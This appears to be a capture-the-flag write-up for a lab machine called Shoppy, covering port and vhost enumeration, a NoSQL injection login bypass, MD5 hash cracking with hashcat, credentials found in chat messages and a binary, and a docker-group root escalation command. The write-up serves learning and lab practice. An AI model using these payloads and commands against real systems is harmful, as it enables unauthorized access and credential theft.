Machine Info Card

Enumeration

Nmap

We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, the -sC flag to perform a script scan using the default set of scripts, and the -Pn flag to skip host discovery:

$ nmap -sV -sC -Pn 10.129.227.233
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 05:34 EST
Nmap scan report for 10.129.227.233
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds

Port 80

We add shoppy.htb to /etc/hosts to resolve the vhost address:

$ echo -e "10.129.227.233\tshoppy.htb" | sudo tee -a /etc/hosts
10.129.227.233  shoppy.htb

We take a look at what web technologies the website is using with whatweb:

$ whatweb http://shoppy.htb   
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.129.227.233], JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1] 

Gobuster

We use gobuster in dir mode to brute-force directories, passing a wordlist after the -w flag:

$ gobuster dir -u http://shoppy.htb/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/06 05:36:46 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 302) [Size: 28] [--> /login]
/Admin                (Status: 302) [Size: 28] [--> /login]
/ADMIN                (Status: 302) [Size: 28] [--> /login]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/exports              (Status: 301) [Size: 181] [--> /exports/]
/favicon.ico          (Status: 200) [Size: 213054]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/images               (Status: 301) [Size: 179] [--> /images/]
/js                   (Status: 301) [Size: 171] [--> /js/]
/login                (Status: 200) [Size: 1074]
/Login                (Status: 200) [Size: 1074]
Progress: 4601 / 4615 (99.70%)===============================================================
2022/12/06 05:37:12 Finished
===============================================================

NoSQLi

Visiting http://shoppy.htb/login we find a login form. After trying various SQLi payloads without any success, I shifted my focus to non-relational databases finding the right payload to get in:

Username = admin'||'1=1

Password = whatever

Once logged in, we can search for users in the Shoppy App. By using the same payload we can download this json file:

[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  },
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]

Password Cracking

We can analyze the hashes we found with hashid:

$ hashid '23c6877d9e2b564ef8b32c3a23de27b2' '6ebcea65320589ca4f2f1ce039975995'
Analyzing '23c6877d9e2b564ef8b32c3a23de27b2'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 
Analyzing '6ebcea65320589ca4f2f1ce039975995'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 

We save the hashes in a file:

$ echo -e "23c6877d9e2b564ef8b32c3a23de27b2\n6ebcea65320589ca4f2f1ce039975995" > hashes

and try to crack them as MD5 hashes using hashcat. We use the -a flag to specify the attack mode, in this case 0 for mode Straight, and the -m flag to specify the hash type, in this case 0 for MD5:

$ hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt     
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian  Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-AMD Ryzen 7 5800X 8-Core Processor, 2904/5872 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

6ebcea65320589ca4f2f1ce039975995:remembermethisway        
Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes
Time.Started.....: Tue Dec  6 08:27:45 2022 (3 secs)
Time.Estimated...: Tue Dec  6 08:27:48 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  4966.6 kH/s (0.08ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 21%

Started: Tue Dec  6 08:27:43 2022
Stopped: Tue Dec  6 08:27:48 2022

We got the password of user josh: remembermethisway.

We can’t ssh login as josh:remembermethisway though, so we need to look elsewhere.

vhost Subdomain Enumeration

We use gobuster in vhost mode to check if our virtual host target has any subdomains:

$ gobuster vhost -u http://shoppy.htb -w /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt -t 50 --append-domain
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://shoppy.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt
[+] User Agent:      gobuster/3.3
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2022/12/06 08:48:55 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb Status: 200 [Size: 3122]
Progress: 99668 / 100001 (99.67%)===============================================================
2022/12/06 08:50:43 Finished
===============================================================

We add mattermost.shoppy.htb to /etc/hosts:

$ echo -e "10.129.227.233\tmattermost.shoppy.htb" |  sudo tee -a /etc/hosts
[sudo] password for kali: 
10.129.227.233  mattermost.shoppy.htb

Visiting mattermost.shoppy.htb we find a login form which accept the josh:remembermethisway credentials.

Mattermost is an Open Source platform for collaboration.

The version running is:

Mattermost Enterprise Edition

Modern communication from behind your firewall.
Mattermost Version: 7.1.2
Database Schema Version: 89
Database: postgres

In the app we find three members:

Channel admin: jaeger

Members: jess, josh

In the Development channel we can read this conversation:

# josh

Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine.

# jaeger

Nice, I will take a look at it

and in the Deploy Machine channel we can read this conversation:

# jaeger

Hey @josh,

For the deploy machine, you can create an account with these creds :
username: jaeger
password: Sh0ppyBest@pp!
And deploy on it.

# josh

Thanks, I'll remember that
The deploy machine will be created within the next 24h

# jaeger

Okay, good luck for that

# josh

Oh I forgot to tell you, that we're going to use docker for the deployment, so I will add it to the first deploy 

# jaeger

Nice, tell me when all is done

# josh

Sure I will

# jaeger

Ok, thanks

We now have the credential for user jaeger.

Getting a Shell

We can ssh login as jaeger using the password Sh0ppyBest@pp!:

$ ssh jaeger@10.129.227.233
<SNIP>
jaeger@shoppy:~$

User Flag

We find the user flag in jaeger’s home directory:

jaeger@shoppy:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  ShoppyApp  shoppy_start.sh  Templates  user.txt  Videos
jaeger@shoppy:~$ cat user.txt 
68a****************ad9
jaeger@shoppy:~$ 

Running sudo -l we find that we can run the password-manager that user josh was mentioning before as user Deploy:

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: qwerty
Access denied! This incident will be reported !

but we don’t have the master password.

We cat the binary to look for clues:

jaeger@shoppy:~/ShoppyApp$ cat /home/deploy/password-manager
<SNIP>
Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied!
<SNIP>

After the string Please enter your master password: we notice the string Sample, which turns out to be the master password we needed to authenticate:

jaeger@shoppy:~/ShoppyApp$ sudo -u deploy /home/deploy/password-manager
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Now we can ssh login as deploy using the password Deploying@pp!:

$ ssh deploy@10.129.227.233  
<SNIP>
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Privilege Escalation

We read before that josh deployed the app using docker, and deploy is part of group 998(docker).

Privilege escalation through a docker container is our way to go. We can spawn a root shell with this command:

$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Root Flag

We can find the root flag in the root directory:

# ls /root
root.txt
# cat /root/root.txt
c19****************c3a